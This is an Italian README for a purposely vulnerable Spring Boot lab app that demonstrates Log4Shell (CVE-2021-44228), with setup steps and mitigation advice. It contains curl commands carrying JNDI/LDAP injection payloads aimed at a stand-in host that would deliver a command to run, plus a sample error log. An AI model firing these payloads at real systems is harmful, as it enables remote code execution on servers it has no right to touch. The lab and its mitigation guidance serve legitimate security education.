
Vulnerabile applicazione web Spring Boot che dimostra l'iniezione JNDI di Log4j2 (CVE-2021-44228) con passaggi di sfruttamento e indicazioni per la mitigazione per test di sicurezza e educazione.
Questa applicazione è basata su un'applicazione web Spring Boot vulnerabile a CVE-2021-44228
Utilizza Log4j 2.14.1 (tramite spring-boot-starter-log4j2 2.6.1).

Eseguila:
Importa il progetto in un IDE Java come progetto Maven
Esegui CVEMainApplication.java come app Spring Boot.
Per GET ->
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://your-private-ip:1389/Basic/Command/Base64/efdgt62jjd0002leee=}'
Per richiesta POST ->
curl --location --request POST 'http://127.0.0.1:8080/addemployee' \
--header 'Content-Type: application/json' \
--data '{
"name": "${jndi:ldap://your-private-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}"
}'
021-12-12 12:17:00,579 http-nio-8080-exec-1 WARN Error looking up JNDI resource [ldap://your-private-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=]. javax.naming.CommunicationException: your-private-ip:1389 [Root exception is java.net.UnknownHostException: your-private-ip]
Caused by: java.net.UnknownHostException: your-private-ip

Riferimento : https://logging.apache.org/log4j/2.x/security.html
Correzione rapida per l'applicazione -> Nelle versioni >=2.10, questo comportamento può essere mitigato impostando la proprietà di sistema log4j2.formatMsgNoLookups o la variabile d'ambiente LOG4J_FORMAT_MSG_NO_LOOKUPS su true. Per le versioni dalla 2.0-beta9 alla 2.10.0, la mitigazione consiste nel rimuovere la classe JndiLookup dal classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class.
Aggiorna a log4j 2.15.0 nell'applicazione e distribuisci